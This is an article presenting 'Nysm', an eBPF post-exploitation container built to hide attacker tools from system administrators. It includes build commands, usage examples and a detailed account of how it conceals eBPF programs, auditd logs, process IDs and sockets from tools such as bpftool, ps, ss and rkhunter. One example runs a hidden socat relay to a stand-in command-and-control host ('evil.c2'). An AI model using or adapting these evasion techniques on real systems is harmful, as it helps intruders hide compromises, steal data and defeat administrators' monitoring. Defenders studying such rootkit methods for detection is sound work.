Nysm : Unveiling The Art Of Stealthy eBPF Post-Exploitation Containers

In the ever-evolving landscape of cybersecurity, offensive tools based on eBPF (Extended Berkeley Packet Filter) have gained popularity, from credential stealers to rootkits.

This article delves into the realm of “Nysm,” a stealthy post-exploitation container designed to make eBPF-based offensive tools invisible to the watchful eyes of System Administrators.

Nysm not only conceals eBPF but also shields a wide range of related tools and objects, offering a glimpse into the intriguing capabilities of eBPF in the world of cybersecurity.

Table Of Content

• 1. Introduction
• 2. Installation
  • 2.1 Requirements
  • 2.2 Linux headers
  • 2.3 Build
• 3. Usage
  • 3.1 Examples
• 4. How it works
  • 4.1 In general
  • 4.2 Hide eBPF objects
  • 4.3 Hide Auditd logs
  • 4.4 Hide PIDs
  • 4.5 Hide sockets
• 5. Limitations

Introduction

With the raise in popularity of offensive tools based on eBPF, going from credential stealers to rootkits hiding their own PID, a question came to our mind: Would it be possible to make eBPF invisible in its own eyes? From there, we created nysm, an eBPF stealth container meant to make offensive tools fly under the radar of System Administrators, not only by hiding eBPF, but much more:

• bpftool
• bpflist-bpfcc
• ps
• top
• sockstat
• ss
• rkhunter
• chkrootkit
• lsof
• auditd
• etc…

All these tools go blind to what goes through nysm. It hides:

• New eBPF programs ⚙️
• New eBPF maps ????️
• New eBPF links ????
• New Auditd generated logs ????
• New PIDs ????
• New sockets ????

Installation

Requirements

sudo apt install git make pkg-config libelf-dev clang llvm bpftool -y

Linux Headers

cd ./nysm/src/
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h

Build

cd ./nysm/src/
make

Usage

nysm is a simple program to run before the intended command:

Usage: nysm [OPTION...] COMMAND
Stealth eBPF container.

  -d, --detach               Run COMMAND in background
  -r, --rm                   Self destruct after execution
  -v, --verbose              Produce verbose output
  -h, --help                 Display this help
      --usage                Display a short usage message

Examples

Run a hidden bash:

./nysm bash

Run a hidden ssh and remove ./nysm:

./nysm -r ssh user@domain

Run a hidden socat as a daemon and remove ./nysm:

./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443

How It Works

In General

As eBPF cannot overwrite returned values or kernel addresses, our goal is to find the lowest level call interacting with a userspace address to overwrite its value and hide the desired objects.

To differentiate nysm events from the others, everything runs inside a seperated PID namespace.

Hide eBPF Objects

bpftool has some features nysm wants to evade: bpftool prog list, bpftool map list and bpftool link list.

As any eBPF program, bpftool uses the bpf() system call, and more specifically with the BPF_PROG_GET_NEXT_ID, BPF_MAP_GET_NEXT_ID and BPF_LINK_GET_NEXT_ID commands. The result of these calls is stored in the userspace address pointed by the attr argument.

To overwrite uattr, a tracepoint is set on the bpf() entry to store the pointed address in a map. Once done, it waits for the bpf() exit tracepoint. When bpf() exists, nysm can read and write through the bpf_attr structure. After each BPF_*_GET_NEXT_ID, bpf_attr.start_id is replaced by bpf_attr.next_id.

In order to hide specific IDs, it checks bpf_attr.next_id and replaces it with the next ID that was not created in nysm.

Program, map, and link IDs are collected from security_bpf_prog(), security_bpf_map(), and bpf_link_prime().

Hide Auditd Logs

Auditd receives its logs from recvfrom() which stores its messages in a buffer.

If the message received was generated by a nysm process through audit_log_end(), it replaces the message length in its nlmsghdr header by 0.

Hide PIDS

Hiding PIDs with eBPF is nothing new. nysm hides new alloc_pid() PIDs from getdents64() in /proc by changing the length of the previous record.

As getdents64() requires to loop through all its files, the eBPF instructions limit is easily reached. Therefore, nysm uses tail calls before reaching it.

Hide Sockets

Hiding sockets is a big word. In fact, opened sockets are already hidden from many tools as they cannot find the process in /proc. Nevertheless, ss uses socket() with the NETLINK_SOCK_DIAG flag which returns all the currently opened sockets. After that, ss receives the result through recvmsg() in a message buffer and the returned value is the length of all these messages combined.

Here, the same method as for the PIDs is applied: the length of the previous message is modified to hide nysm sockets.

These are collected from the connect() and bind() calls.

Limitations

Even with the best effort, nysm still has some limitations.

• Every tool that does not close their file descriptors will spot nysm processes created while they are open. For example, if ./nysm bash is running before top, the processes will not show up.
• But, if another process is created from that bash instance while top is still running, the new process will be spotted. The same problem occurs with sockets and tools like nethogs.
• Kernel logs: dmesg and /var/log/kern.log, the message nysm[<PID>] is installing a program with bpf_probe_write_user helper that may corrupt user memory! will pop several times because of the eBPF verifier on nysm run.
• Many traces written into files are left as hooking read() and write() would be too heavy (but still possible). For example /proc/net/tcp or /sys/kernel/debug/tracing/enabled_functions.
• Hiding ss recvmsg can be challenging as a new socket can pop at the beginning of the buffer, and nysm cannot hide it with a preceding record (this does not apply to PIDs). A quick fix could be to switch place between the first one and the next legitimate socket, but what if a socket is in the buffer by itself? Therefore, nysm modifies the first socket information with hardcoded values.
• Running bpf() with any kind of BPF_*_GET_NEXT_ID flag from a nysm child process should be avoided as it would hide every non-nysm eBPF objects.

Of course, many of these limitations must have their own solutions. Again, pull requests are more than welcome.